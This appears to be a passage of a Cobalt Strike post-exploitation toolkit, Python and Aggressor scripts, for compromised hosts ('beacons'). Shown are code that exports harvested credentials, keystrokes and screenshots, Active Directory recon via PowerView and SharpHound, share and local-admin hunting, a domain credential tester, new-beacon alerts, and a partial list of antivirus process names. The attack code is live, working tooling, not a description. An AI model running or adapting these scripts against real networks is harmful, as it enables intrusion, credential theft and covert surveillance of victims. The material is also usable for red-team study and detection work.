entries to: {}'.format(finds, args.out)) 164 | 165 | # Get logs for beacon 166 | @aliases.alias('logs', 'Get logs for a beacon', 'See `logs -h`') 167 | def _(bid, *args): 168 | parser = helpers.ArgumentParser(prog='logs', bid=bid, description='Get logs for a beacon') 169 | parser.add_argument('out', help='Output file') 170 | try: args = parser.parse_args(args) 171 | except: return 172 | 173 | finds = get_logs(args.out, bid=bid) 174 | aggressor.blog2(bid, 'Wrote {} log entries to: {}'.format(finds, args.out)) 175 | 176 | # Grep beacon logs for a regex 177 | @commands.command('grep-logs') 178 | def _(*args): 179 | parser = helpers.ArgumentParser(prog='grep-logs', description='Grep beacon logs for a regex') 180 | parser.add_argument('-o', '--out', help='Output file') 181 | parser.add_argument('-w', '--whole', action='store_true', help='Show whole output') 182 | parser.add_argument('regex', action='append', help='Search for regex') 183 | try: args = parser.parse_args(args) 184 | except: return 185 | 186 | for regex in args.regex: 187 | finds = 0 188 | engine.message("Searching beacon logs for '{}'".format(regex)) 189 | for frame in aggressor.data_query('beaconlog'): 190 | output_type = frame[0] 191 | bid = frame[1] 192 | if output_type == 'beacon_input': 193 | user = frame[2] 194 | data = frame[3] 195 | time = convert_time(frame[4]) 196 | else: 197 | data = frame[2] 198 | time = convert_time(frame[3]) 199 | 200 | for log in split_output(data): 201 | if re.search(regex, log, re.IGNORECASE): 202 | beacon = '{}@{}'.format(aggressor.beacon_info(bid, 'user'), aggressor.beacon_info(bid, 'computer')) 203 | 204 | # -w/--whole 205 | if args.whole: 206 | output = data 207 | else: 208 | output = log 209 | 210 | # -o/--out 211 | if args.out: 212 | with open(args.out, 'a+') as fp: 213 | fp.write(output) 214 | else: 215 | engine.message("Found beacon log matching '{}' from {} at {}:\n{}".format(regex, beacon, time, output)) 216 | 217 | finds += 1 218 | 219 | if finds: 220 | if args.out: 221 | engine.message("Wrote {} finds containing '{}' to '{}'".format(finds, regex, args.out)) 222 | else: 223 | engine.message("Found {} logs containing '{}'".format(finds, regex)) 224 | else: 225 | engine.error("Didn't find any beacon logs containing '{}'".format(regex)) 226 | 227 | # Create a directoy containing all beacon logs, keystrokes, targets, sessions, credentials, and rsync scripts for syncing downloads and screenshots 228 | @commands.command('sync') 229 | def _(outdir=None): 230 | # directory structure: 231 | # / 232 | # targets 233 | # sessions 234 | # credentials 235 | # downloads.sh 236 | # screenshots.sh ? 237 | # user@computer/ 238 | # beacon--.log 239 | # keystrokes.log 240 | # screenshots/ ? 241 | 242 | def listmap_to_tsv(outfile, data): 243 | out = '' 244 | 245 | # get keys 246 | keys = set() 247 | for item in data: 248 | keys += set(item.keys()) 249 | keys = sorted(keys) 250 | out += '\t'.join(keys) 251 | 252 | # get data 253 | for item in data: 254 | out += '\t'.join([item[key] if key in item else '' for key in keys]) 255 | 256 | return out 257 | 258 | def sync(outdir): 259 | # top level 260 | os.makedirs(outdir, exist_ok=True) 261 | 262 | # sessions 263 | with open('{}/sessions.tsv'.format(outdir), 'w+') as fp: 264 | data = aggressor.data_query('sessions') 265 | fp.write(listmap_to_tsv(data)) 266 | 267 | # credentials 268 | with open('{}/credentials.tsv'.format(outdir), 'w+') as fp: 269 | data = aggressor.data_query('credentials') 270 | fp.write(listmap_to_tsv(data)) 271 | 272 | # targets 273 | with open('{}/targets.tsv'.format(outdir), 'w+') as fp: 274 | data = aggressor.data_query('targets') 275 | fp.write(listmap_to_tsv(data)) 276 | 277 | # weblog 278 | with open('{}/weblog.tsv'.format(outdir), 'w+') as fp: 279 | data = aggressor.data_query('weblog') 280 | fp.write(listmap_to_tsv(data)) 281 | 282 | # TODO downloads script 283 | 284 | # match beacons with computers 285 | # TODO use sessions? 286 | beacons = {} 287 | for beacon in aggressor.beacons(): 288 | beacons[beacon['bid']] = '{}@{}'.format(beacon['user'].lower(), beacon['computer'].lower()) 289 | 290 | # TODO beacon logs 291 | 292 | # keystrokes 293 | for keystroke in aggressor.data_query('keystrokes'): 294 | data = keystroke['data'] 295 | bid = keystroke['bid'] 296 | time = convert_time(keystroke['when']) 297 | 298 | beacon_outdir = '{}/{}'.format(outdir, beacons[bid]) 299 | outfile = '{}/keystrokes.log'.format(beacon_outdir, beacons[bid]) 300 | os.makedirs(beacon_outdir, exist_ok=True) 301 | with open(outfile, 'a+') as fp: 302 | fp.write(data + '\n') 303 | 304 | # screenshots 305 | for screenshot in aggressor.data_query('screenshots'): 306 | data = screenshot['data'] 307 | bid = screenshot['bid'] 308 | time = convert_time(screenshot['when']) 309 | 310 | screenshot_outdir = '{}/{}/screenshots'.format(outdir, beacons[bid]) 311 | outfile = '{}/{}.png'.format(screenshot_outdir, time) 312 | os.makedirs(screenshot_outdir, exist_ok=True) 313 | with open(outfile, 'wb+') as fp: 314 | fp.write(data) 315 | 316 | if outdir: 317 | # use commandline directory 318 | sync(outdir) 319 | else: 320 | # prompt for directory 321 | aggressor.prompt_directory_open('Choose a folder', None, False, sync) 322 | 323 | -------------------------------------------------------------------------------- /network.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import pycobalt.engine as engine 8 | import pycobalt.events as events 9 | import pycobalt.commands as commands 10 | import pycobalt.aliases as aliases 11 | import pycobalt.aggressor as aggressor 12 | import pycobalt.callbacks as callbacks 13 | import pycobalt.helpers as helpers 14 | import pycobalt.sharpgen as sharpgen 15 | from pycobalt.helpers import powershell_quote 16 | 17 | import external 18 | 19 | def import_network_recon(bid): 20 | """ 21 | Import NetworkRecon.ps1 22 | """ 23 | 24 | aggressor.bpowershell_import(bid, utils.basedir('powershell/NetworkRecon.ps1')) 25 | 26 | def import_domain_recon(bid): 27 | """ 28 | Import DomainRecon.ps1 29 | """ 30 | 31 | aggressor.bpowershell_import(bid, utils.basedir('powershell/DomainRecon.ps1')) 32 | 33 | @aliases.alias('network', 'Perform some basic network-related recon') 34 | def _(bid): 35 | import_network_recon(bid) 36 | aggressor.bpowerpick(bid, 'Invoke-NetworkRecon') 37 | 38 | # TODO test 39 | @aliases.alias('rdns', 'Perform RDNS scan') 40 | def _(bid, *ranges): 41 | aggressor.bpowershell_import(bid, utils.basedir('powershell/PowerSploit/Recon/Invoke-ReverseDnsLookup.ps1')) 42 | 43 | command = '' 44 | for r in ranges: 45 | command += 'Invoke-ReverseDnsLookup {}\n'.format(r) 46 | 47 | aggressor.bpowerpick(bid, command) 48 | 49 | @aliases.alias('netstat', 'Get active TCP connections and TCP/UDP listeners') 50 | def _(bid): 51 | external.run(bid, 'seatbelt', ['AllTcpConnections', 'AllUdpConnections']) 52 | 53 | @aliases.alias('wanip', 'Get WAN IP with ipecho.net') 54 | def _(bid): 55 | aggressor.bpowerpick(bid, 'Write-Output "WANIP: $((New-Object System.Net.WebClient).DownloadString("https://ipecho.net/json"))"') 56 | 57 | # TODO use pure powershell 58 | @aliases.alias('wanip-dns', 'Get WAN IP with DNS') 59 | def _(bid): 60 | aggressor.bshell(bid, 'nslookup myip.opendns.com. resolver1.opendns.com') 61 | 62 | @aliases.alias('domain', 'Get basic domain info') 63 | def _(bid): 64 | import_domain_recon(bid) 65 | aggressor.bpowerpick(bid, 'Invoke-DomainRecon') 66 | 67 | @aliases.alias('domain-enum', 'Get full domain info') 68 | def _(bid): 69 | temp = helpers.guess_temp(bid) 70 | 71 | # Forests and trusts: 72 | # Get-DomainTrustMapping 73 | # Get-ForestTrust 74 | # Get-DomainTrust 75 | 76 | # Parsing GPOs: 77 | # Get-GptTmpl 78 | # Get-GroupsXML 79 | 80 | # File shares: 81 | # Get-DomainFileServer 82 | # Get-DomainDFSShare 83 | 84 | # Get-DomainManagedSecurityGroup? 85 | 86 | # TODO remove subnet and site? 87 | # computer objects don't show up in Get-DomainObject for some reason 88 | command = helpers.code_string(r""" 89 | cd {} 90 | $FormatEnumerationLimit=-1 91 | Get-DomainObject | Format-List -Property * > objects.domain 92 | Get-DomainPolicyData | Format-List -Property * > policy.domain 93 | Get-DomainSite | Format-List -Property * > sites.domain 94 | Get-DomainSubnet | Format-List -Property * > subnets.domain 95 | Get-DomainGPOUserLocalGroupMapping | Format-List -Property * > gpo_localgroups.domain 96 | Get-GPODelegation | Format-List -Property * > gpo_delegations.domain 97 | Get-DomainGPO | %{{Get-ObjectACL -ResolveGUIDs -Name $_.Name}} > gpo_acls.domain 98 | Get-DomainTrustMapping | Format-List -Property * > trusts.domain 99 | Get-DomainManagedSecurityGroup | Format-List -Property * > managers.domain 100 | Invoke-ACLScanner -ResolveGUIDs > interesting_acls.domain 101 | echo "All finished with domain-enum. Run domain-enum-next." 102 | """.format(powershell_quote(temp))) 103 | 104 | aggressor.btask(bid, 'Tasked beacon to enumerate domain objects and info (stage 1/3)') 105 | external.run(bid, 'powerview', command) 106 | 107 | @aliases.alias('domain-enum-next', 'Grab files from domain-enum') 108 | def _(bid): 109 | temp = helpers.guess_temp(bid) 110 | 111 | aggressor.btask(bid, 'Tasked beacon to download files from domain-enum (stage 2/3). Once finished run domain-enum-next2') 112 | aggressor.bdownload(bid, r'{}\objects.domain'.format(temp)) 113 | aggressor.bdownload(bid, r'{}\policy.domain'.format(temp)) 114 | aggressor.bdownload(bid, r'{}\sites.domain'.format(temp)) 115 | aggressor.bdownload(bid, r'{}\subnets.domain'.format(temp)) 116 | aggressor.bdownload(bid, r'{}\gpo_localgroups.domain'.format(temp)) 117 | aggressor.bdownload(bid, r'{}\gpo_delegations.domain'.format(temp)) 118 | aggressor.bdownload(bid, r'{}\gpo_acls.domain'.format(temp)) 119 | aggressor.bdownload(bid, r'{}\trusts.domain'.format(temp)) 120 | aggressor.bdownload(bid, r'{}\managers.domain'.format(temp)) 121 | aggressor.bdownload(bid, r'{}\interesting_acls.domain'.format(temp)) 122 | 123 | @aliases.alias('domain-enum-next2', 'Clean up files from domain-enum') 124 | def _(bid): 125 | temp = helpers.guess_temp(bid) 126 | 127 | aggressor.btask(bid, 'Tasked beacon to clean up files from domain-enum (stage 3/3)') 128 | aggressor.brm(bid, r'{}\objects.domain'.format(temp)) 129 | aggressor.brm(bid, r'{}\policy.domain'.format(temp)) 130 | aggressor.brm(bid, r'{}\sites.domain'.format(temp)) 131 | aggressor.brm(bid, r'{}\subnets.domain'.format(temp)) 132 | aggressor.brm(bid, r'{}\gpo_localgroups.domain'.format(temp)) 133 | aggressor.brm(bid, r'{}\gpo_delegations.domain'.format(temp)) 134 | aggressor.brm(bid, r'{}\gpo_acls.domain'.format(temp)) 135 | aggressor.brm(bid, r'{}\trusts.domain'.format(temp)) 136 | aggressor.brm(bid, r'{}\managers.domain'.format(temp)) 137 | aggressor.brm(bid, r'{}\interesting_acls.domain'.format(temp)) 138 | 139 | # TODO test 140 | @aliases.alias('spns', 'Show SPNs') 141 | def _(bid, out=None): 142 | aggressor.bpowershell_import(bid, utils.basedir('powershell/UserSPN.ps1')) 143 | 144 | command = 'Get-AccountSPNs' 145 | 146 | if out: 147 | # output to file 148 | command += ' > {}'.format(powershell_quote(out)) 149 | 150 | aggressor.bpowerpick(bid, command) 151 | 152 | @aliases.alias('import-powerview', "Import PowerView") 153 | def _(bid): 154 | external.import_script(bid, 'powerview') 155 | 156 | @aliases.alias('powerview', "Run a PowerView command") 157 | def _(bid, *args): 158 | external.run(bid, 'powerview', args) 159 | 160 | #@aliases.alias('userhunter', "Run SharpView's Find-DomainUserLocation on a list of computers") 161 | #def _(bid, *args): 162 | # parser = helpers.ArgumentParser(prog='userhunter', bid=bid, description='Run Find-DomainUserLocation') 163 | # parser.add_argument('--computers-file', help='Run against computer names from file') 164 | # parser.add_argument('--users-file', help='Search for usernames from file') 165 | # parser.add_argument('args', nargs='*', help='Additional arguments to pass to SharpView') 166 | # try: args = parser.parse_args(args) 167 | # except: return 168 | # 169 | # command = 'Find-DomainUserLocation' 170 | # 171 | # # --computers-file 172 | # if args.computers_file: 173 | # with open(args.computers_file, 'r') as fp: 174 | # computers = [line.strip() for line in fp] 175 | # 176 | # command += ' -ComputerName ' + ','.join(computers) 177 | # 178 | # # --users-file 179 | # if args.users_file: 180 | # with open(args.users_file, 'r') as fp: 181 | # users = [line.strip() for line in fp] 182 | # 183 | # command += ' -UserIdentity ' + ','.join(users) 184 | # 185 | # # 186 | # if args.args: 187 | # command += ' ' + ' '.join(args.args) 188 | # 189 | # execute_sharpview(bid, command) 190 | 191 | # TODO test 192 | @aliases.alias('filefinder', "Run PowerView's FileFinder") 193 | def _(bid, *args): 194 | external.run(bid, 'powerview', 'Invoke-FileFinder {}'.format(' '.join(args))) 195 | 196 | # TODO test 197 | @aliases.alias('sharefinder', "Find accessible shares using PowerView's ShareFinder") 198 | def _(bid, *args): 199 | external.run(bid, 'powerview', 'Invoke-ShareFinder -CheckShareAccess {}'.format(' '.join(args))) 200 | 201 | def run_sharpview(bid, command): 202 | """ 203 | Run SharpView 204 | """ 205 | 206 | sharpview = utils.basedir('tools/SharpView.exe') 207 | aggressor.bexecute_assembly(bid, sharpview, command) 208 | 209 | @aliases.alias('sharpview', "Run SharpView") 210 | def _(bid, command): 211 | run_sharpview(bid, command) 212 | 213 | #@aliases.alias('kerberoast-sharpview', "Run Invoke-Kerberoast (using SharpView)") 214 | #def _(bid): 215 | # run_sharpview(bid, 'Invoke-Kerberoast -OutputFormat Hashcat') 216 | 217 | # TODO test 218 | @aliases.alias('adminaccess', "Run PowerView's Find-LocalAdminAccess") 219 | def _(bid, *args): 220 | external.run(bid, 'powerview', 'Find-LocalAdminAccess {}; echo "Finished with Find-LocalAdminAccess"'.format(' '.join(args))) 221 | 222 | # TODO use Get-WmiObject 223 | # $shares = Get-WmiObject -Class Win32_Share | Format-Table -Wrap | Out-String 224 | @aliases.alias('shares', 'Show shares on a host') 225 | def _(bid, *hosts): 226 | if not hosts: 227 | hosts = ['localhost'] 228 | 229 | command = '' 230 | for host in hosts: 231 | if not host.startswith(r'\\'): 232 | host = r'\\{}'.format(host) 233 | 234 | command += 'net view /all {};\n'.format(host) 235 | 236 | aggressor.btask(bid, 'Tasked beacon to list shares on: {}'.format(', '.join(hosts))) 237 | aggressor.bpowerpick(bid, command, silent=True) 238 | 239 | @aliases.alias('share-list', 'Run ls in each share on each host') 240 | def _(bid, *hosts): 241 | if not hosts: 242 | hosts = ['localhost'] 243 | 244 | command = '' 245 | for host in hosts: 246 | if not host.startswith(r'\\'): 247 | host = r'\\{}'.format(host) 248 | 249 | command += helpers.code_string(r""" 250 | (net view /all "{host}" | Where-Object {{ $_ -match '\sDisk\s' }}) -replace '\s\s+', ',' | 251 | ForEach-Object {{ 252 | $drive = ($_ -split ',')[0] 253 | ls "{host}\$drive" 2>$null 254 | }}; 255 | """.format(host=host)) 256 | 257 | aggressor.btask(bid, 'Tasked beacon to list files on shares for hosts: {}'.format(', '.join(hosts))) 258 | aggressor.bpowerpick(bid, command, silent=True) 259 | 260 | @aliases.alias('sharphound', 'Run SharpHound, default args') 261 | def _(bid, *args): 262 | external.run(bid, 'sharphound', list(args)) 263 | 264 | @aliases.alias('sharphound-stealth', 'Run SharpHound, stealth args') 265 | def _(bid, *args): 266 | external.run(bid, 'sharphound', ['--Stealth'] + list(args)) 267 | 268 | @aliases.alias('sharphound-sessions', 'Run SharpHound, gather session info') 269 | def _(bid, *args): 270 | external.run(bid, 'sharphound', ['--CollectionMethod', 'Sessions'] + list(args)) 271 | 272 | @aliases.alias('sharphound-all', 'Run SharpHound, gather all info (noisy)') 273 | def _(bid, *args): 274 | external.run(bid, 'sharphound', ['--CollectionMethod', 'All'] + list(args)) 275 | 276 | # TODO microphone 277 | # bpowershell_import($1, script_resource("EnumKit/scripts/Get-MicrophoneAudio.ps1")); 278 | # blog($1, "Once imported, run \c8Get-Help Get-MicrophoneAudio -full\c0 for full usage instructions"); 279 | 280 | @aliases.alias('test-auth', 'Test domain credentials') 281 | def _(bid, username, password): 282 | command = helpers.code_string(r""" 283 | if ((new-object directoryservices.directoryentry "", "{username}", "{password}").psbase.name -ne $null) {{ 284 | Write-Host "Credentials {username}:{password} are valid :)" 285 | }} else {{ 286 | Write-Host "Credentials {username}:{password} are not valid :(" 287 | }} 288 | """.format(username=username, password=password)) 289 | 290 | aggressor.btask(bid, 'Tasked beacon to test credentials {}:{}'.format(username, password)) 291 | aggressor.bpowerpick(bid, command, silent=True) 292 | 293 | @aliases.alias('grouper', 'Run Grouper2') 294 | def _(bid, *args): 295 | external.run(bid, 'grouper', list(args)) 296 | -------------------------------------------------------------------------------- /note_gui.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import utils 5 | sys.path.insert(0, utils.basedir('pycobalt')) 6 | 7 | import pycobalt.engine as engine 8 | import pycobalt.aggressor as aggressor 9 | import pycobalt.gui as gui 10 | 11 | def set_notes(bids, note): 12 | """ 13 | Set notes for multiple beacons 14 | """ 15 | 16 | for bid in bids: 17 | aggressor.bnote(bid, note) 18 | 19 | notes = ('domain &controller!', 'database!', '&using', 'keylogger', 20 | 'screenshotter', 'standby', 'sandbox', 'dead', 'new', 'do not use', 21 | 'sysadmin', '!!!') 22 | note_items = [] 23 | 24 | for note in notes: 25 | note_items.append(gui.item(note, callback=(lambda note: lambda bids: set_notes(bids, note.replace('&', '')))(note))) 26 | 27 | note_items.append(gui.separator()) 28 | note_items.append(gui.item('&clear', callback=lambda bids: set_notes(bids, ''))) 29 | 30 | menu = gui.popup('beacon_bottom', children=[ 31 | gui.menu('&Note', children=note_items) 32 | ]) 33 | 34 | gui.register(menu) 35 | -------------------------------------------------------------------------------- /notifications.gui.cna: -------------------------------------------------------------------------------- 1 | $enable_initial_notifications = true; 2 | $enable_output_notifications = false; 3 | $enable_disconnect_notifications = true; 4 | $enable_output_beep = false; 5 | $enable_disconnect_beep = false; 6 | $enable_initial_beep = false; 7 | 8 | @computer_filter = @(); 9 | 10 | sub notify { 11 | $title = $1; 12 | $body = $2; 13 | exec(@('notify-send', $title, $body)); 14 | } 15 | 16 | sub dbool { 17 | return iff($1, 'true', 'false'); 18 | } 19 | 20 | sub rbool { 21 | return iff($1 eq 'true', true, false); 22 | } 23 | 24 | sub beepbeep { 25 | $bid = $1; 26 | 27 | if ($bid) { 28 | %info = beacon_info($bid); 29 | $name = %info['computer']; 30 | if (@computer_filter && size(@computer_filter)) { 31 | if (!(uc($name) in @computer_filter)) { 32 | return; 33 | } 34 | } 35 | } 36 | 37 | sub forked { 38 | # make some really annoying beeps 39 | for ($i = 0; $i < 3; $i++) { 40 | exec(@('beep')); 41 | sleep(500); 42 | } 43 | 44 | #for ($i = 0; $i < 8; $i++) { 45 | # exec(@('beep')); 46 | # sleep(500); 47 | #} 48 | 49 | #for ($i = 0; $i < 3; $i++) { 50 | # exec(@('beep')); 51 | # sleep(1000); 52 | #} 53 | 54 | #for ($i = 0; $i < 3; $i++) { 55 | # exec(@('beep')); 56 | # sleep(2000); 57 | #} 58 | } 59 | 60 | fork(&forked); 61 | } 62 | 63 | on beacon_output { 64 | $bid = $1; 65 | 66 | if ($enable_output_notifications) { 67 | $name = beacon_info($bid)['computer']; 68 | notify('!!!', "Beacon output received from $name" . '!'); 69 | } 70 | 71 | if ($enable_output_beep) { 72 | beepbeep($bid); 73 | } 74 | } 75 | 76 | on disconnect { 77 | if ($enable_disconnect_notifications) { 78 | notify('Client disconnected!', '!!!'); 79 | } 80 | 81 | if ($enable_disconnect_beep) { 82 | beepbeep(); 83 | } 84 | } 85 | 86 | on beacon_initial { 87 | global('$enable_initial_notifications'); 88 | local('$bid $user $internal $computer $title $details'); 89 | 90 | $bid = $1; 91 | 92 | if ($enable_initial_notifications) { 93 | $internal = beacon_info($bid, 'internal'); 94 | $computer = beacon_info($bid, 'computer'); 95 | $user = beacon_info($bid, 'user'); 96 | 97 | $title = 'New beacon!'; 98 | $details = "From: " . $user . "@" . $computer . " (" . $internal . ")"; 99 | 100 | notify($title, $details); 101 | } 102 | 103 | if ($enable_initial_beep) { 104 | beepbeep($1); 105 | } 106 | } 107 | 108 | menubar("Notifications", "notifications", 2); 109 | 110 | popup notifications { 111 | item "Off" { 112 | $enable_initial_notifications = false; 113 | $enable_output_notifications = false; 114 | $enable_disconnect_notifications = false; 115 | $enable_output_beep = false; 116 | $enable_disconnect_beep = false; 117 | $enable_initial_beep = false; 118 | } 119 | 120 | item "Important notifications" { 121 | $enable_initial_notifications = true; 122 | $enable_output_notifications = false; 123 | $enable_disconnect_notifications = true; 124 | $enable_output_beep = false; 125 | $enable_disconnect_beep = false; 126 | $enable_initial_beep = false; 127 | } 128 | 129 | item "Initial beep" { 130 | $enable_initial_notifications = true; 131 | $enable_output_notifications = false; 132 | $enable_disconnect_notifications = true; 133 | $enable_output_beep = false; 134 | $enable_disconnect_beep = true; 135 | $enable_initial_beep = true; 136 | } 137 | 138 | item "Full beep" { 139 | $enable_initial_notifications = true; 140 | $enable_output_notifications = true; 141 | $enable_disconnect_notifications = true; 142 | $enable_output_beep = true; 143 | $enable_disconnect_beep = true; 144 | $enable_initial_beep = true; 145 | } 146 | 147 | separator(); 148 | 149 | item "Settings" { 150 | local('%defaults'); 151 | 152 | sub callback { 153 | local('%options $button'); 154 | 155 | $button = $2; 156 | %options = $3; 157 | 158 | $enable_initial_notifications = rbool(%options['initial_notifications']); 159 | $enable_output_notifications = rbool(%options['output_notifications']); 160 | $enable_disconnect_notifications = rbool(%options['disconnect_notifications']); 161 | $enable_output_beep = rbool(%options['output_beep']); 162 | $enable_disconnect_beep = rbool(%options['disconnect_beep']); 163 | $enable_initial_beep = rbool(%options['initial_beep']); 164 | @computer_filter = split(',', uc(%options['filter'])); 165 | } 166 | 167 | %defaults['initial_notifications'] = dbool($enable_initial_notifications); 168 | %defaults['output_notifications'] = dbool($enable_output_notifications); 169 | %defaults['disconnect_notifications'] = dbool($enable_disconnect_notifications); 170 | %defaults['output_beep'] = dbool($enable_output_beep); 171 | %defaults['disconnect_beep'] = dbool($enable_disconnect_beep); 172 | %defaults['initial_beep'] = dbool($enable_initial_beep); 173 | %defaults['filter'] = join(',', @computer_filter); 174 | 175 | $dialog = dialog("Notifications", %defaults, &callback); 176 | dialog_description($dialog); 177 | 178 | drow_checkbox($dialog, 'initial_notifications', 'Initial notifications: '); 179 | drow_checkbox($dialog, 'output_notifications', 'Output notifications: '); 180 | drow_checkbox($dialog, 'disconnect_notifications', 'Disconnect notifications: '); 181 | drow_checkbox($dialog, 'initial_beep', 'Initial beep: '); 182 | drow_checkbox($dialog, 'output_beep', 'Output beep: '); 183 | drow_checkbox($dialog, 'disconnect_beep', 'Disconnect beep: '); 184 | drow_text($dialog, 'filter', 'Computer filter '); 185 | 186 | dbutton_action($dialog, "OK"); 187 | dialog_show($dialog); 188 | } 189 | 190 | item "Test" { 191 | notify('Test notification', 'Test'); 192 | beepbeep(); 193 | } 194 | } 195 | -------------------------------------------------------------------------------- /old/color_ps.cna: -------------------------------------------------------------------------------- 1 | $process_file = script_resource('resources/elist.txt'); 2 | 3 | @av = @( 4 | 'keypass', 'avgui', 'emet_agent', 5 | 'emet_service', 'firesvc', 'firetray', 'hipsvc', 6 | 'mfevtps', 'mcafeefire', 'scan32', 'shstat', 7 | 'tbmon', 'vstskmgr', 'engineserver', 'mfevtps', 8 | 'mfeann', 'mcscript', 'updaterui', 'udaterui', 9 | 'naprdmgr', 'frameworkservice', 'cleanup', 'cmdagent', 10 | 'frminst', 'mcscript_inuse', 'mctray', 'mcshield', 11 | 'aawtray', 'ad-aware', 'msascui', '_avp32', 12 | '_avpcc', '_avpm', 'aavgapi', 'ackwin32', 13 | 'adaware', 'advxdwin', 'agentsvr', 'agentw', 14 | 'alertsvc', 'alevir', 'alogserv', 'amon9x', 15 | 'anti-trojan', 'antivirus', 'ants', 'apimonitor', 16 | 'aplica32', 'apvxdwin', 'arr', 'atcon', 'atguard', 17 | 'atro55en', 'atupdater', 'atwatch', 'au', 18 | 'aupdate', 'auto-protect.nav80try', 'autodown', 19 | 'autotrace', 'autoupdate', 'avconsol', 'ave32', 20 | 'avgcc32', 'avgctrl', 'avgemc', 'avgnt', 'avgrsx', 21 | 'avgserv', 'avgserv9', 'avguard', 'avgw', 'avkpop', 22 | 'avkserv', 'avkservice', 'avkwctl9', 'avltmain', 23 | 'avnt', 'avp', 'avp', 'avp32', 'avpcc', 24 | 'avpdos32', 'avpm', 'avptc32', 'avpupd', 25 | 'avsched32', 'avsynmgr', 'avwin', 'avwin95', 26 | 'avwinnt', 'avwupd', 'avwupd32', 'avwupsrv', 27 | 'avxmonitor9x', 'avxmonitornt', 'avxquar', 'backweb', 28 | 'bargains', 'bd_professional', 'beagle', 'belt', 29 | 'bidef', 'bidserver', 'bipcp', 'bipcpevalsetup', 30 | 'bisp', 'blackd', 'blackice', 'blink', 'blss', 31 | 'bootconf', 'bootwarn', 'borg2', 'bpc', 'brasil', 32 | 'bs120', 'bundle', 'bvt', 'ccapp', 'ccevtmgr', 33 | 'ccpxysvc', 'ccsvchst', 'ccsvchst', 'cdp', 'cfd', 34 | 'cfgwiz', 'cfiadmin', 'cfiaudit', 'cfinet', 35 | 'cfinet32', 'claw95', 'claw95cf', 'clean', 36 | 'cleaner', 'cleaner3', 'cleanpc', 'click', 37 | 'cmesys', 'cmgrdian', 'cmon016', 'connectionmonitor', 38 | 'cpd', 'cpf9x206', 'cpfnt206', 'ctrl', 'cv', 39 | 'cwnb181', 'cwntdwmo', 'datemanager', 'dcomx', 40 | 'defalert', 'defscangui', 'defwatch', 'deputy', 41 | 'divx', 'dllcache', 'dllreg', 'doors', 'dpf', 42 | 'dpfsetup', 'dpps2', 'drwatson', 'drweb32', 43 | 'drwebupw', 'dssagent', 'dvp95', 'dvp95_0', 44 | 'ecengine', 'efpeadm', 'emet_agent', 'emet_service', 45 | 'emsw', 'ent', 'esafe', 'escanhnt', 'escanv95', 46 | 'espwatch', 'ethereal', 'etrustcipe', 'evpn', 47 | 'exantivirus-cnet', 'exe.avxw', 'expert', 'explore', 48 | 'f-agnt95', 'f-prot', 'f-prot95', 'f-stopw', 49 | 'fameh32', 'fast', 'fch32', 'fih32', 'findviru', 50 | 'firewall', 'fnrb32', 'fp-win', 'fp-win_trial', 51 | 'fprot', 'frw', 'fsaa', 'fsav', 'fsav32', 52 | 'fsav530stbyb', 'fsav530wtbyb', 'fsav95', 'fsgk32', 53 | 'fsm32', 'fsma32', 'fsmb32', 'gator', 'gbmenu', 54 | 'gbpoll', 'generics', 'gmt', 'guard', 'guarddog', 55 | 'hacktracersetup', 'hbinst', 'hbsrv', 'hotactio', 56 | 'hotpatch', 'htlog', 'htpatch', 'hwpe', 'hxdl', 57 | 'hxiul', 'iamapp', 'iamserv', 'iamstats', 'ibmasn', 58 | 'ibmavsp', 'icload95', 'icloadnt', 'icmon', 59 | 'icsupp95', 'icsuppnt', 'idle', 'iedll', 60 | 'iedriver', 'iface', 'ifw2000', 'inetlnfo', 61 | 'infus', 'infwin', 'init', 'intdel', 'intren', 62 | 'iomon98', 'istsvc', 'jammer', 'jdbgmrg', 'jedi', 63 | 'kavlite40eng', 'kavpers40eng', 'kavpf', 'kazza', 64 | 'keenvalue', 'kerio-pf-213-en-win', 'kerio-wrl-421-en-win', 65 | 'kerio-wrp-421-en-win', 'kernel32', 'killprocesssetup161', 66 | 'launcher', 'ldnetmon', 'ldpro', 'ldpromenu', 67 | 'ldscan', 'lnetinfo', 'loader', 'localnet', 68 | 'lockapphost', 'lockapp', 'lockdown', 'lockdown2000', 69 | 'lookout', 'lordpe', 'lsetup', 'luall', 'luau', 70 | 'lucomserver', 'luinit', 'luspt', 'mapisvc32', 71 | 'mcagent', 'mcmnhdlr', 'mcshield', 'mctool', 72 | 'mcupdate', 'mcvsrte', 'mcvsshld', 'md', 'mfin32', 73 | 'mfw2en', 'mfweng3.02d30', 'mgavrtcl', 'mgavrte', 74 | 'mghtml', 'mgui', 'minilog', 'mmod', 'monitor', 75 | 'moolive', 'mostat', 'mpfagent', 'mpfservice', 76 | 'mpftray', 'mrflux', 'msapp', 'msbb', 'msblast', 77 | 'mscache', 'msccn32', 'mscman', 'msconfig', 'msdm', 78 | 'msdos', 'msiexec16', 'msinfo32', 'mslaugh', 79 | 'msmgt', 'msmsgri32', 'mssmmc32', 'mssys', 'msvxd', 80 | 'mu0311ad', 'mwatch', 'n32scanw', 'nav', 81 | 'navap.navapsvc', 'navapsvc', 'navapw32', 'navdx', 82 | 'navlu32', 'navnt', 'navstub', 'navw32', 'navwnt', 83 | 'nc2000', 'ncinst4', 'ndd32', 'neomonitor', 84 | 'neowatchlog', 'netarmor', 'netd32', 'netinfo', 85 | 'netmon', 'netscanpro', 'netspyhunter-1.2', 'netstat', 86 | 'netutils', 'nisserv', 'nisum', 'nmain', 'nod32', 87 | 'normist', 'norton_internet_secu_3.0_407', 'notstart', 88 | 'npf40_tw_98_nt_me_2k', 'npfmessenger', 'nprotect', 89 | 'npscheck', 'npssvc', 'nsched32', 'nssys32', 90 | 'nstask32', 'nsupdate', 'nt', 'ntrtscan', 'ntvdm', 91 | 'ntxconfig', 'nui', 'nupgrade', 'nvarch16', 92 | 'nvc95', 'nvsvc32', 'nwinst4', 'nwservice', 93 | 'nwtool16', 'ollydbg', 'onsrvr', 'optimize', 94 | 'ostronet', 'otfix', 'outpost', 'outpostinstall', 95 | 'outpostproinstall', 'padmin', 'panixk', 'patch', 96 | 'pavcl', 'pavproxy', 'pavsched', 'pavw', 97 | 'pccwin98', 'pcfwallicon', 'pcip10117_0', 'pcscan', 98 | 'pdsetup', 'periscope', 'persfw', 'perswf', 'pf2', 99 | 'pfwadmin', 'pgmonitr', 'pingscan', 'platin', 100 | 'pop3trap', 'poproxy', 'popscan', 'portdetective', 101 | 'portmonitor', 'powerscan', 